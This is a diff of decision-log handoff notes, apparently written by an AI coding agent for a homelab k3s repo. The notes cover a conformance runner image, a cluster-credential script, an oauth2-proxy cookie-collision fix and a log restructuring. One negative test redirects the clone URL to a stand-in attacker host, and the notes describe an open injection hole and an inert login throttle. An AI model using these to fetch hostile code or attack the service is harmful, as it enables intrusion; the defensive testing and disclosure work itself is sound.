+`gitea.home.keithjackson.dev` against the stock `ca-certificates` (issuer `Let's Encrypt / YR2`,
+notAfter `Dec 12 02:16:57 2026 GMT`), and `git ls-remote https://…/home-network-k3s-impl.git
+HEAD` returns `20ea70d` with **no credential**. So no internal CA bundle is needed, and
+anonymous read is currently open — the plan's read-only deploy token buys authorisation
+hygiene, not reachability.
+
+`/usr/local/bin/conformance-clone` measured in the image as uid 65532 with `--read-only`:
+`root:root 755`, confirmed **not writable** by uid 65532. Seven negative cases, each asserted to
+exit non-zero (not merely to print something): arguments rejected; missing SHA; a branch name
+instead of a SHA; an unrendered `@@CONFORMANCE_GIT_SHA@@`; `HOME` off the workspace volume; a
+**redirected** `CONFORMANCE_REPO_URL=https://evil.invalid/x.git`; a `CONFORMANCE_SRC` off the
+workspace volume. And the positive case: a real anonymous clone of this repo at a real 40-hex
+SHA, with `rev-parse HEAD` proven equal to the requested SHA.
+
+Two bugs of my own that only running it could have found, both fixed: the workspace-path guard
+matched `/workspace/*` and so **rejected the image's own `HOME=/workspace`**; and the negative
+checks were written as pipelines, which under `pipefail` aborted the verify at the first
+expected failure and silently skipped the remaining six. A verify that stops early looks
+identical to a verify that passed.
+
+### There is no `approval-policy` CI stage, and `conformance/**` is not a protected path
+
+My brief told me to expect this PR's CI to fail on an `approval-policy` stage because
+`conformance/**` is a security-relevant path requiring human approval. **I repeated that before
+checking it. It is not true:**
+
+| Claim | Measured |
+|---|---|
+| an `approval-policy` CI stage exists | **No.** `grep -rn 'approval-policy\|approval_policy' .gitea/ ci/` → nothing. `.gitea/workflows/gate.yml` has jobs `gate` and `conformance`; `merge-gate.yaml` has `spec-immutability, lint, l0, render-golden, l1, conformance, merge-gate`. No approval job in either. |
+| `conformance/**` is a protected path | **No.** `GET /branch_protections` → `protected_file_patterns: ''`. No path-based rule of any kind, and no `CODEOWNERS` file in the repo. |
+| required status checks | `status_check_contexts: ['gate / gate (pull_request)']` — one context, and it is not an approval stage. |
+
+What actually blocks this PR is `required_approvals: 1` with `block_admin_merge_override: true`,
+and `gitea-admin` authors every agent PR and cannot self-approve. That is a **merge** block, not
+a CI failure — the distinction matters, because "expect a red X" and "expect a green run that an
+agent still cannot merge" send a reviewer to different places. Left in as a correction rather
+than quietly deleted.
+
+### What PR #18's CI actually did, read out of the job log
+
+Read from `/Home-Network/home-network-k3s-impl/actions/runs/128/jobs/0/logs`, not off the tick,
+because a skipped Gitea job reports `success`:
+
+    [skip] stage spec-immutability: SKIPPED (not run)
+    [ ok ] stage lint: pass
+    [ ok ] stage l0: pass
+    [ ok ] stage render-golden: pass
+    [ ok ] stage l1: pass
+    [ ok ] stage gitea-settings: pass
+    [skip] stage conformance: SKIPPED (not run)
+    [fail] MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED.
+
+`gate / gate (pull_request)` = **success in 1m36s**, and that success means **rc 3, tolerated**
+by `./ci/gate.sh || [ "$?" -eq 3 ]` — not rc 0. `gitea-settings` ran and passed in CI with
+`REQUIRE_GITEA_SETTINGS=true`, so CI is *more* complete there than the local toolbox run, where
+that stage can only skip. That measurement predates this rework's force-push; CI has not been
+re-read since.
+
+### The gate, on the reworked branch, today
+
+    ENGINE=<worktree shim> DEV_KUBECONFIG=/dev/null ./infra/devcontainer/dev.sh run bash -c './ci/gate.sh'
+    → rc 3, MERGE GATE: UNDETERMINED. Nothing FAILED.
+
+    [ ok ] spec-immutability   [ ok ] decisions-log   [ ok ] lint
+    [ ok ] l0                  [ ok ] render-golden   [ ok ] l1
+    [skip] gitea-settings      (SETTINGS_API_TOKEN not set — unwired repo-wide)
+    [skip] conformance         (CLUSTER_AVAILABLE != true) — L2/L3 UNVERIFIED
+    Stages that did not run: gitea-settings
+
+`decisions-log` is the stage PR #24 added; it ran against this branch and passed — "archive
+frozen, 2 entries well-formed" — so this file's shape is machine-checked, not eyeballed.
+Diff base `origin/main @ c59fe9f923c4` (this branch was rebased onto main after #24 merged).
+Touched requirements resolved to
+`R-SEC-02 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04`; all five remain **L2/L3-UNVERIFIED**. This
+is **not** a green run and is not offered as one.
+
+### The rework itself
+
+`git diff origin/main...HEAD --name-only` lists only the five `conformance/` paths plus this
+file — `DECISIONS-LOG.md` is gone from the branch. `git diff pr18-orig HEAD -- conformance/`
+is empty, so the code is byte-identical to the pre-rework tip, file modes included
+(`build-image.sh` and `conformance-clone` both `100755`).
+
+## What I did NOT verify
+
+- **The image has never run in the cluster.** Everything above is local podman. Admission has
+  not been exercised against it, because there is no digest to reference yet.
+- **The image is not pushed anywhere**, so `CONFORMANCE_RUNNER_IMAGE_DIGEST` is empty. Empty on
+  purpose: it fails visibly in whatever renders the Job, whereas a guessed digest would look
+  like an `ImagePullBackOff` cluster fault. Pushing needs a registry credential and is an
+  operator action — `build-image.sh` prints the exact commands.
+- **The image was not rebuilt during this rework.** Moving where the handoff lives must not
+  change what the branch claims to have proven, so no build was run; the image measurements
+  above are the ones taken when the code was written, against this same code.
+- **chainsaw's cosign signatures are not verified** by this image. Only kubectl's `sha256` is.
+  The cosign path is named as a TODO, not implemented.
+- **The 4th policy rule does not exist**, so `conformance-clone` is available but not required.
+  The initContainer injection hole is open until that separate PR lands.
+- **L2/L3 still do not run in CI** (`vars.CLUSTER_AVAILABLE` unset). This image is a
+  prerequisite for closing that hole, not the closure. R-SEC-02 and R-TEST-01..04 are untested
+  at L2/L3.
+- **`gitea-settings` skipped in my local gate run**, so branch protection and runner
+  registration are UNVERIFIED by this run. The CI-side claims quoted above were measured
+  earlier, against the pre-rework head.
+- **The post-force-push CI run has not been read.** The `gate / gate (pull_request)` result
+  quoted above is from run 128 on the old head.

decisions/2026-09-29-conformance-trigger-kubeconfig.md

@@ -0,0 +1,125 @@
+---
+date: 2026-09-29
+branch: feat/conformance-trigger-kubeconfig
+title: The trigger credential script — it REFUSES, on purpose, and it is UNEXECUTED
+---
+
+## What changed
+
+Delivered `infra/gitea/conformance-trigger-kubeconfig.sh` —
+`docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 6 — plus its section in
+`infra/gitea/README.md`. **The script is UNEXECUTED.** Minting a cluster credential and
+changing Gitea variables are operator actions; nothing was minted, no Gitea object was
+written, no `kubectl` mutation was made. Everything below is a claim about the *script*,
+not about the platform.
+
+*What it does.* Mints a token for `conformance/conformance-trigger` (TokenRequest), wraps
+**only that token** with the cluster CA and server into a kubeconfig, stores it as the
+Actions secret `CONFORMANCE_TRIGGER_KUBECONFIG` (legal name — **not** the reserved `GITEA_`
+prefix), and sets `vars.CLUSTER_AVAILABLE` only as a separately-requested,
+precondition-gated, TTY-confirmed final step. The token is never printed and never reaches
+argv: it goes into a 0600 file and into the PUT **body file**. The script refuses to run
+under `set -x`.
+
+*The design decision worth reviewing: TWO precondition classes.*
+
+- **mint-blocking (cluster-side):** SA/Role/RoleBinding present, and ClusterPolicy
+  `conformance-trigger-job-shape` present + `Enforce` + `failurePolicy: Fail` + Ready. If any
+  fails, **nothing is minted**. Rationale: Kubernetes puts no `use` check on a Job's
+  `serviceAccountName`, so a `create jobs` token in that namespace IS the privileged
+  `conformance-runner` identity unless the admission policy bounds it. RBAC cannot fix that
+  (plan §4); minting before the boundary is live would hand CI the escalation the boundary
+  exists to close.
+- **arm-blocking (repo-side):** digest-pinned `CONFORMANCE_RUNNER_IMAGE`, an init-container
+  plus the admitted image in `chainsaw-job.yaml`, and `CONFORMANCE_TRIGGER_KUBECONFIG`
+  referenced in `ci/conformance.sh` **code rather than a comment**. These block only the
+  variable, because storing the secret early is harmless and is the plan's own order.
+
+**Measured in the tree at the time of writing: all three arm-blocking checks FAIL** (no
+`CONFORMANCE_RUNNER_IMAGE` in `conformance/versions.env`; `chainsaw-job.yaml` is still the
+skeleton with an empty `workspace` emptyDir and the stock chainsaw image; `ci/conformance.sh`
+names the trigger kubeconfig only in its TODO comment). So on a live run today the script
+would provision the secret and then **refuse to arm `CLUSTER_AVAILABLE`**, naming each
+missing item — which is the intended behaviour, not a defect. §3 items 1, 2 and 4 are the
+work that unblocks it.
+
+*Both writes are verified the way `set-ci-token.sh` learned to.* `curl -sS` exits 0 on an
+HTTP error, so status alone proves nothing: each write checks `%{http_code}` **and** reads
+the object back. For the secret that is presence-by-name only (Gitea never returns secret
+values) and the script says so rather than implying the content was checked; for the variable
+it asserts the value reads back as exactly `true`.
+
+*Noted, not fixed at the time (since fixed on this branch).* `infra/gitea/README.md`'s
+detector table still named `GITEA_SETTINGS_TOKEN` — the illegal name PR #15 replaced with
+`SETTINGS_API_TOKEN`. The second commit on this branch corrects the README's table and its
+closing "remaining step" line, and records what `ci/gitea-settings.sh` actually does
+(`TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"` — the old name survives only as a
+local-run environment variable, never as CI wiring, because the secret that would feed it
+cannot be created at all). Documentation only, no behaviour change. Still NOT fixed, because
+it is outside this PR's diff: `ci/gitea-settings.sh:45` instructs the reader to create a repo
+secret `GITEA_SETTINGS_TOKEN`, which is impossible.
+
+*Rework, 2026-09-29.* This branch originally appended ~99 lines to the tail of
+`DECISIONS-LOG.md`. That is the hunk every concurrent branch collided on and the sole reason
+PR #19 was `mergeable: false`. The branch was rebuilt on today's `main` with the
+`DECISIONS-LOG.md` change dropped entirely, and this file is that handoff moved into
+`decisions/`. The changes to `infra/gitea/**` are byte-identical to the original three
+commits; the commit that contained only the log append was dropped and its substance folded
+in below.
+
+## What I verified
+
+*Of the script, before it stores anything:* it PROVES the credential narrow — `auth whoami`
+must return `system:serviceaccount:conformance:conformance-trigger`; a real `get jobs`
+round-trip must succeed; then an `auth can-i` matrix asserts BOTH halves — granted
+(`create/get jobs`, `get pods`, `get pods/log`) and **denied** (`delete jobs`, `create
+pods/exec`, `get secrets`, `create jobs` in `default`, `get nodes`,
+`'*' '*' --all-namespaces`). A mismatch aborts before anything is stored, and the message
+says explicitly **not** to widen `conformance/incluster/rbac.yaml` to make it pass. That is a
+property of the code as read, not of an execution.
+
+*Of PR #19's CI, measured rather than assumed — and it contradicts the brief.* The brief for
+this work stated this PR's CI would FAIL `approval-policy` because `infra/gitea/**` is
+security-relevant. Measured on the PR head commit's `/statuses`:
+
+    gate / gate (pull_request)          success   Successful in 1m34s
+    gate / conformance (pull_request)   pending   Blocked by required conditions
+
+`.gitea/workflows/` on `main` contains only `gate.yml` and the dormant `merge-gate.yaml`.
+**No path-scoped approval policy exists**, so nothing machine-enforces "security-relevant
+paths need a human"; that rule rests entirely on `required_approvals: 1` plus a reviewer
+actually reading the diff. Another instance of the CLAUDE.md §2b failure mode — a control
+believed to exist because a brief said so. If the policy is intended, it is missing and needs
+its own change. And per this repo's own rule, that green `gate` tick is **not** evidence this
+script works: the gate never executes `infra/gitea/**`, and the L2/L3 stage skipped.
+
+*Gate on the reworked branch (pinned toolbox, from the agent worktree, `DEV_KUBECONFIG=/dev/null`
+plus the `ENGINE` bind-mount shim per CLAUDE.md §3):* `MERGE GATE: UNDETERMINED`, **rc 3**.
+Diff base `origin/main @ c59fe9f923c4` ... this branch's head; touched requirement resolved as
+`R-ENV-01`. `spec-immutability`, `decisions-log`, `lint`, `l0`, `render-golden` and `l1` all
+green; the gate decision names exactly one stage that did not run — `gitea-settings`
+(`SETTINGS_API_TOKEN` is a credential this agent does not hold, unwired repo-wide). The
+`conformance` stage also reported SKIPPED (`CLUSTER_AVAILABLE!=true`, Phase 0). The new
+`decisions-log` stage — merged to `main` as PR #24 after this rework began — validated this very
+file: "archive frozen, 2 entries well-formed", with `DECISIONS-LOG.md` unchanged and matching
+`decisions/ARCHIVE.sha256`. rc 3 is UNDETERMINED, not green, and is not reported as green here.
+
+## What I did NOT verify
+
+**The script has never executed.** Not one line of it has run against Gitea or against the
+cluster. Only `bash -n` was run (clean); `shellcheck` is not on the host and there is no
+shellcheck stage in the gate.
+
+- The Gitea variables API shape (POST-creates / PUT-updates, body field `value` not `data`)
+  is from **documentation, not measurement**. The script tries POST then falls back to PUT,
+  prints the response body on failure, and treats the read-back as the authority.
+- The Kyverno readiness field (`.status.ready` vs. a Ready condition) is handled both ways
+  and treats "neither present" as a block rather than assuming ready — but which form this
+  cluster actually reports is **unmeasured**.
+- Whether the kubeconfig's embedded server URL is reachable from the runner pod **cannot be
+  known from here** — hence `--server`, and a hard refusal on a loopback address.
+- No credential was minted, no Actions secret was created, `vars.CLUSTER_AVAILABLE` was not
+  set, and no `can-i` matrix was ever run against a real token. The narrowness argument above
+  is read from the RBAC and the script, not observed.
+- The gate proves only its L0/L1 offline subset. L2/L3 conformance did not run, so nothing
+  here is evidence about runtime behaviour.

decisions/2026-09-29-crafty-oauth2-proxy-signin.md

@@ -0,0 +1,123 @@
+---
+date: 2026-09-29
+branch: fix/crafty-oauth2-proxy-signin
+title: Crafty "won't sign in after Keycloak" — the gate was fine, Crafty's own login was the wall
+---
+
+## What changed
+
+Reported as *"crafty utilizing the keycloak oauth2-proxy does not sign in to the service after
+signing into keycloak; there is no way to set the service up without credentials."* The sidecar's
+own access log settles which layer refused, and it is not the one the report names:
+
+    GET /                            -> 302 to Keycloak
+    [AuthSuccess] ... groups:[platform-admins]        <- oauth2-proxy did its job
+    GET /oauth2/callback             -> 302
+    GET /panel/dashboard             -> 302
+    GET /login?next=/panel/dashboard -> 200           <- CRAFTY's own login page
+    POST /api/v2/auth/login/         -> 401           <- CRAFTY refused
+
+**The Keycloak gate was never broken.** Crafty 4 has no OIDC and cannot consume the sidecar's
+identity headers, so it presents its own local login to an already-authenticated user. That second
+factor is intended. What was not intended — and what made the service genuinely impossible to set
+up — is that **nothing documented where that password comes from**. Crafty generates it **once, on
+first boot only** (users table empty → `DatabaseBuilder.default_settings()`) into
+`/crafty/app/config/default-creds.txt`, mode `0600`, on the PVC's `config` subPath. Never in git; a
+fresh PVC generates a new one and the old is gone with the volume. `platform/crafty/README.md`
+asserted the double login was "expected, not a bug" and then left the reader with no way forward —
+the assertion was true and useless in the same sentence.
+
+So this branch:
+
+- Adds `runbooks/crafty-admin-credential.md` — tell the two auth layers apart from the sidecar log,
+  retrieve and rotate the bootstrap credential, and reset a lost one via argon2. Registered in the
+  runbooks `configMapGenerator`/`kustomization.yaml` and listed in `runbooks/README.md`, so the URL
+  actually resolves rather than the file merely existing.
+- Documents the credential's provenance and the two auth layers in `platform/crafty/README.md`.
+- **Fixes a second, real defect found while proving the first.** Both oauth2-proxy instances emitted
+  oauth2-proxy's **default** cookie names (`_oauth2_proxy`, `_oauth2_proxy_csrf`) scoped to
+  `.home.keithjackson.dev`, while holding **different** cookie-secrets. One cookie pair, two
+  proxies: whichever authenticated last clobbered the other's session; the loser logged `No valid
+  authentication in request`, bounced to Keycloak, and — SSO session still live — was redirected
+  straight back, clobbering it again. **That mutual eviction presents exactly as the reported
+  symptom**, intermittently, and would have been blamed on Keycloak indefinitely. Fixed on the
+  crafty side only (renaming the shared proxy's cookie would sign out every other gated app): a
+  unique `--cookie-name=_oauth2_proxy_crafty` plus a **host-scoped** `--cookie-domain`.
+  `--whitelist-domain` stays zone-wide — it governs post-login *redirect* targets, not cookie scope.
+
+**Considered and rejected: seeding `default.json` from a SOPS Secret.** Crafty does ship the hook —
+`find_default_password()` reads `app/config/default.json` (`username`, `password`, min 8 chars) and
+`delete_default_json` controls its removal — so an initContainer could make a rebuilt Crafty's admin
+password deterministic and git-managed. Rejected: the image entrypoint pulls its default config
+**only when `app/config` is empty** (`if [ ! "$(ls -A --ignore=.gitkeep ./app/config)" ]; then cp -r
+./app/config_original/* ./app/config/`). Writing `default.json` there pre-boot makes the directory
+non-empty and **suppresses the entire config bootstrap** — no `config.json`, no `credits.json`.
+Doing it safely means replicating the entrypoint's copy inside the initContainer, i.e. co-owning
+image-internal bootstrap logic that a 4.11 bump can change silently, to replace a one-command
+retrieval. Not worth it. If it is ever revisited, the `ls -A` guard is the landmine to design around.
+
+## What I verified
+
+- **Which layer refused**, from the sidecar's own access log: `[AuthSuccess] ...
+  groups:[platform-admins]` followed by Crafty's `/login` page and `POST /api/v2/auth/login/ → 401`.
+  oauth2-proxy admitted the user; Crafty rejected the local credential.
+- **The existing bootstrap credential is still usable**, so no DB surgery is needed to get in:
+  `users.last_update` **equals** `users.created` for `admin` (`09/05/2026, 08:10:04`) — the password
+  has never been changed — and admin's `last_login` is 09/14 from `127.0.0.1`, the API login that
+  created the "homelab" server. `default-creds.txt` is therefore live.
+- **The two cookie-secrets differ** — compared the two live Secrets (key presence/values compared
+  in-cluster, not printed), so neither proxy can decrypt the other's cookie; and both instances were
+  emitting the default cookie names on the shared `.home.keithjackson.dev` scope.
+- **The 3-strikes cooldown cannot fire behind this sidecar.** Crafty *records* failed attempts under
+  `get_remote_ip()` (honours `X-Forwarded-For` — the live tracker key is the chain
+  `"192.168.2.132, 10.0.0.123"`, with 1 attempt: the reported 401) but *checks* the cooldown under
+  `self.request.remote_ip`, always `127.0.0.1` here. The halves key differently, so
+  `get_recent_attempts()` always reads empty and `max_login_attempts: 3` never fires. Good
+  (**repeated guesses cannot lock the operator out**) and bad (that throttle is not a control we
+  have; the `platform-admins` gate is the only thing limiting who reaches the form). I had written
+  the opposite into the README from the config value alone before measuring it — the config key
+  existing is not the same claim as the code path running.
+- **`set_passwd` is unreachable in k8s**: it calls `getpass.getpass()` and needs a TTY; the container
+  runs `main.py -d -i`. Recovery must go through the DB.
+- **argon2 is installed only in `/crafty/.venv/bin/python`** — the system `python3` in that container
+  cannot import it, so the obvious reset one-liner fails.
+- **`dev.sh` does not forward stdin.** A `kubectl exec -i` through it hangs forever (provoked, not
+  assumed). So the runbook's reset generates its password **in-pod** into a `0600` file — Crafty's own
+  `default-creds.txt` idiom — rather than passing a secret through argv, stdin or shell history.
+- **Gate:** toolbox `./ci/gate.sh` — see the next section for the exit code. Green stages:
+  `spec-immutability`, `lint`, `l0`, `render-golden`, `l1`.
+
+## What I did NOT verify
+
+- **No browser round-trip.** The sign-in fix is **UNVERIFIED end-to-end**. The cookie change is
+  reasoned from measured facts (default cookie names on both, shared domain, differing secrets) and
+  renders correctly, but nobody has signed in through it. The human test is in
+  `platform/crafty/README.md`.
+- **Nothing was applied.** No `kubectl apply/edit/patch`, no `flux reconcile`. The running pod is
+  still the pre-fix spec (`crafty-64f7b6d78-pkpgp`, 2/2, 15d, 0 restarts — unchanged by this
+  session's read-only probes). **Merging is what deploys, and it will restart the pod** —
+  `strategy: Recreate` on an RWO volume, so the "homelab" Minecraft server stops and restarts. Pick
+  the moment.
+- **Gate rc 3, not 0.** Green: `spec-immutability`, `lint`, `l0`, `render-golden`, `l1`. **Skipped:**
+  `gitea-settings` (no `SETTINGS_API_TOKEN`) and **L2/L3 conformance** (`CLUSTER_AVAILABLE` unset) —
+  touched requirements `R-DNS-01 R-NET-01 R-OBS-04 R-PLAT-02 R-STATE-01` are **not certified**.
+  Nothing failed; nothing runtime was proven either. **rc 3 is UNDETERMINED, not green.**
+- **The admin password was not rotated**, and the bootstrap credential is still the standing admin
+  credential. The runbook says to rotate on first sign-in; that is an operator action and is still
+  open.
+- **The cookie collision's symptom was never reproduced in a browser.** This is the part of the
+  change with no observed failure to point at — the sidecar trace above shows a *working* session,
+  because that browser had not visited another gated app first. It is a latent-bug fix.
+
+### Follow-ups
+
+1. **Sign in and rotate** — `runbooks/crafty-admin-credential.md`, then confirm `last_update` moves
+   off `created`. Until then the panel's admin password is a value generated on 2026-09-05 that has
+   sat unchanged and undocumented.
+2. **Decide whether the inert brute-force cooldown matters.** Fixing it is upstream (Crafty keys the
+   two halves differently); the alternative is to accept the `platform-admins` gate as the only
+   throttle and say so.
+3. **Any further per-app reverse-proxy sidecar needs a unique `--cookie-name` too.** The collision is
+   a property of the pattern, not of Crafty. Worth an L0 check asserting that every oauth2-proxy
+   instance in the tree declares a distinct cookie name — the failure is silent and intermittent,
+   which is exactly the shape this repo keeps getting burned by.

decisions/2026-09-29-decisions-log-conflict-free.md

@@ -0,0 +1,82 @@
+---
+date: 2026-09-29
+branch: chore/decisions-log-conflict-free
+title: The handoff log was serialising every parallel branch — it is a directory now
+---
+
+## What changed
+
+`DECISIONS-LOG.md` is frozen and the handoff log is now a directory, `decisions/`, with one
+file per entry (`YYYY-MM-DD-<slug>.md`). Concurrent branches write disjoint paths, so there
+is nothing for git to merge.
+
+The problem was not any particular change. CLAUDE.md §7 told every agent to append a handoff,
+and appending always landed on the *same last hunk* of one 5,228-line file. Two branches that
+both did it could not auto-merge; N branches cost N-1 rebases, and each rebase invalidated the
+gate run before it. The agents work in isolated worktrees precisely so they don't block each
+other, and this one file undid that.
+
+- `decisions/README.md` — the convention, the template, and how to read the log. No index file
+  and no sequence number, deliberately: an index is a shared mutable file (the thing that just
+  failed) and a counter has two agents racing for the same number. The directory listing is the
+  index.
+- `DECISIONS-LOG.md` — a "FROZEN ARCHIVE" header prepended; content otherwise untouched. Its
+  SHA-256 is pinned in `decisions/ARCHIVE.sha256`.
+- `ci/decisions-log.sh` — a new gate stage. Asserts the archive matches its pin, and that every
+  entry is named `YYYY-MM-DD-<slug>.md` with a real date, carries `date`/`branch`/`title`
+  frontmatter agreeing with its filename, and has all three of §7's sections with a real body
+  under each. Exit 0 or 1 only; it has no skip path by construction, because it reads only files
+  in the tree under test and needs no tool and no cluster.
+- `ci/gate.sh` — runs the stage; both `fail` and (impossible) `skip` set `BLOCK`. There is no
+  `REQUIRE_DECISIONS_LOG` knob: a guard with an off switch is not a guard.
+- `ci/tests/decisions-log.test.sh` — 22 assertions, new.
+- `ci/tests/gate-decision.test.sh` — 3 new assertions for the stage's wiring, **plus a
+  pre-existing bug fixed**: its stub list never included `gitea-settings`, so that stage's
+  script was absent from the stub CI dir, `run_stage` recorded exit 127 as a FAILED stage in
+  every case, and 15 of 47 assertions failed on `main`. The suite was measuring its own missing
+  stub rather than the decision logic.
+- `CLAUDE.md` §7 rewritten; §1's "stale runbook wording" caveat extended to the log.
+- `ci/Makefile`, `ci/README.md`, `.gitea/workflows/README.md` — the stage named where stages are
+  named.
+
+A guard rather than a paragraph, because the old habit is written into the runbooks and into
+every agent that has read the log, and getting it wrong does not fail: it produces a clean-looking
+commit that re-creates the conflict on *other people's* branches, later, misattributed.
+
+## What I verified
+
+Measured against the live Gitea (`GET /api/v1/repos/Home-Network/home-network-k3s-impl/pulls`,
+2026-09-29), not inferred from the tree:
+
+    #22 fix/crafty-oauth2-proxy-signin      mergeable=False
+    #20 feat/conformance-job-template       mergeable=False
+    #19 feat/conformance-trigger-kubeconfig mergeable=False
+    #18 feat/conformance-runner-image       mergeable=False
+    #17 feat/ci-is-the-approver             mergeable=True
+
+`git merge-tree --write-tree origin/main origin/<branch>` for each named
+`CONFLICT (content): DECISIONS-LOG.md` and **no other conflicting path** in all four. #17 is
+clean and touched no log entry. So the log's storage format was the whole of the blockage.
+
+Tests: `ci/tests/decisions-log.test.sh` **PASS (22 assertions)**, including the one that
+matters — an append to `DECISIONS-LOG.md` exits non-zero and the message names both the frozen
+archive and the file to write instead. `ci/tests/gate-decision.test.sh` **PASS (50 assertions)**,
+up from **FAIL (15 failed, 32 passed)** on `main` before the stub fix.
+
+Gate: see the run quoted in the PR description.
+
+## What I did NOT verify
+
+- **Nothing was applied and nothing was merged.** No `kubectl`, no `flux reconcile`. This change
+  touches only CI and documentation; it has no cluster-visible effect at all.
+- **L2/L3 conformance did not run** (`CLUSTER_AVAILABLE` unset), as always. Irrelevant to this
+  change's content but stated so the gate result is not over-read.
+- **I have not watched a Gitea PR check run this stage.** The stage is proven by its own unit
+  test and by the gate locally; that the `incluster-dind` runner executes it is unobserved here.
+  A skipped Gitea job still reports `success`, so read the job log, not the tick.
+- **The four hung PRs are not yet fixed by this commit.** They still carry their
+  `DECISIONS-LOG.md` appends and will still conflict until each is rebased onto this change with
+  its append converted to a `decisions/` entry. That is follow-up work, in flight separately.
+- **`runbooks/` and older entries still say "append to DECISIONS-LOG.md"** in places. I did not
+  sweep them. The gate now rejects the action, so the stale wording misleads but cannot cause
+  the damage; it joins the existing tracked work on stale `git push origin main` wording.

decisions/ARCHIVE.sha256

@@ -0,0 +1 @@
+b16e8cb7ea12720bc7c3a77a496211e3204534c5e6600ba748fb9ab14fa21c26  DECISIONS-LOG.md

decisions/README.md

@@ -0,0 +1,101 @@
+# `decisions/` — the handoff log, one file per entry
+
+This directory **is** the decision log. `../DECISIONS-LOG.md` is the frozen archive of
+everything written before 2026-09-29 and is never edited again (see "The archive is
+frozen" below).
+
+## Why this exists
+
+`DECISIONS-LOG.md` was append-only in a single file, and every agent appended to its
+**tail**. Two branches that both append hit the same last hunk, so git cannot
+auto-merge them: the second one to be reviewed conflicts, and so does the third, and
+the fourth. Measured on 2026-09-29: **four of the five open PRs were unmergeable, and
+`DECISIONS-LOG.md` was the only conflicting file in all four**:
+
+    #22 fix/crafty-oauth2-proxy-signin      CONFLICT (content): DECISIONS-LOG.md
+    #20 feat/conformance-job-template       CONFLICT (content): DECISIONS-LOG.md
+    #19 feat/conformance-trigger-kubeconfig CONFLICT (content): DECISIONS-LOG.md
+    #18 feat/conformance-runner-image       CONFLICT (content): DECISIONS-LOG.md
+    #17 feat/ci-is-the-approver             clean  (it touched no log entry)
+
+Nothing was wrong with any of those changes. The log's *storage format* serialised work
+that was otherwise parallel, and it got worse with every concurrent branch: N branches
+produce N-1 rebases, each of which invalidates any gate run that preceded it.
+
+The fix is the obvious one for concurrent appenders: **stop sharing a file**. Each
+handoff is its own file. Two agents writing handoffs touch disjoint paths, so there is
+nothing for git to merge and nothing to conflict. This scales to any number of parallel
+branches with zero coordination — which is the point, since the agents are deliberately
+isolated from each other in separate worktrees and cannot coordinate.
+
+There is deliberately **no index file** and no counter. An index would be a shared
+mutable file — exactly the thing that just failed — and a sequence number would have
+two agents racing for `0043`. The directory listing is the index.
+
+## Writing an entry
+
+One file per handoff, named:
+
+    decisions/YYYY-MM-DD-<slug>.md
+
+`<slug>` is lowercase `[a-z0-9-]`. **Use your branch name's last segment** — it is
+already unique per unit of work, which is precisely the property the filename needs.
+A branch `fix/crafty-oauth2-proxy-signin` handed off on 2026-09-29 writes:
+
+    decisions/2026-09-29-crafty-oauth2-proxy-signin.md
+
+The file is YAML frontmatter followed by three required sections:
+
+```markdown
+---
+date: 2026-09-29
+branch: fix/crafty-oauth2-proxy-signin
+title: The Keycloak gate works — Crafty's own login was the wall
+---
+
+## What changed
+
+Prose. What you actually did, and why.
+
+## What I verified
+
+The measurements, with their numbers. Quote the field you read, not the prose you
+believed. Name the gate result and its exit code.
+
+## What I did NOT verify
+
+Everything else. An honest "UNVERIFIED" is worth more than an optimistic "green" —
+this repo has been burned by the difference more than once.
+```
+
+All three headings are **required and enforced** (`ci/decisions-log.sh`). They are
+CLAUDE.md §7's contract; making them a checked structure is what stops an entry
+degrading into "done ✅".
+
+## Reading the log
+
+The whole log, oldest first:
+
+    ls decisions/[0-9]*.md | sort
+
+The current PM handoff — the newest entry. Ties within a day are broken by what landed
+on `main` last, which is the honest answer, so ask git rather than the filename:
+
+    git log --diff-filter=A --format='%H' --name-only -- 'decisions/[0-9]*.md' \
+      | grep '^decisions/' | head -1
+
+For a quick skim of who said what:
+
+    grep -H '^title:' decisions/[0-9]*.md | sort
+
+## The archive is frozen
+
+`DECISIONS-LOG.md` is **read-only history**. Its SHA-256 is pinned in
+`decisions/ARCHIVE.sha256` and `ci/decisions-log.sh` fails the merge gate if the file
+changes. That is not ceremony: without it, the next agent to read `runbooks/` or an old
+CLAUDE.md habit appends to the tail again and re-creates the conflict for everybody
+else, silently, one PR at a time.
+
+If the archive genuinely must change (a leaked credential to redact, say), that is a
+deliberate, reviewed act: change it, run `sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256`,
+and say in your handoff entry why. Re-pinning is visible in the diff. Appending is not.

docs/plans/l2-l3-conformance-ci-wiring.md

@@ -33,29 +33,67 @@ agents. So the credential model must be decided by the operator before anything
 | Dormant full blueprint | `.gitea/workflows/merge-gate.yaml` | Shows the intended shape: `conformance` job `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}`, `secrets.CONFORMANCE_TRIGGER_KUBECONFIG`, `make -C ci conformance`, then a `merge-gate` decision job (`scripts/decide.sh`). Manual-only (`workflow_dispatch`). |
 | CI conformance stage | `ci/conformance.sh` | SKIPS (exit 3) unless `CLUSTER_AVAILABLE=true`. When "on", it currently runs `conformance/run.sh --layer l2,l3` **locally in the CI job** and collects `_artifacts/`. Its own header carries `TODO(Phase 1): drive the in-cluster Chainsaw Job under the narrow CONFORMANCE_TRIGGER_KUBECONFIG` — i.e. the trigger path is **not implemented**. |
 | Conformance runner | `conformance/run.sh` + `conformance/lib/`, `conformance/tests/` | Works locally/in-cluster. `--layer l2,l3 [--requirements ...]`, writes `_artifacts/report.junit.xml` + `coverage/`. Needs bash + python3 + chainsaw (+ kubectl for `conf_cluster_reachable`). |
-| In-cluster Job skeleton | `conformance/incluster/chainsaw-job.yaml` | Skeleton: `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, image `ghcr.io/kyverno/chainsaw:v0.2.12`, `command: ["./run.sh"]`, args default `--layer all --strict-coverage`. **`workspace` is an empty `emptyDir` with no init-container to populate it**, and `results` is an `emptyDir`. |
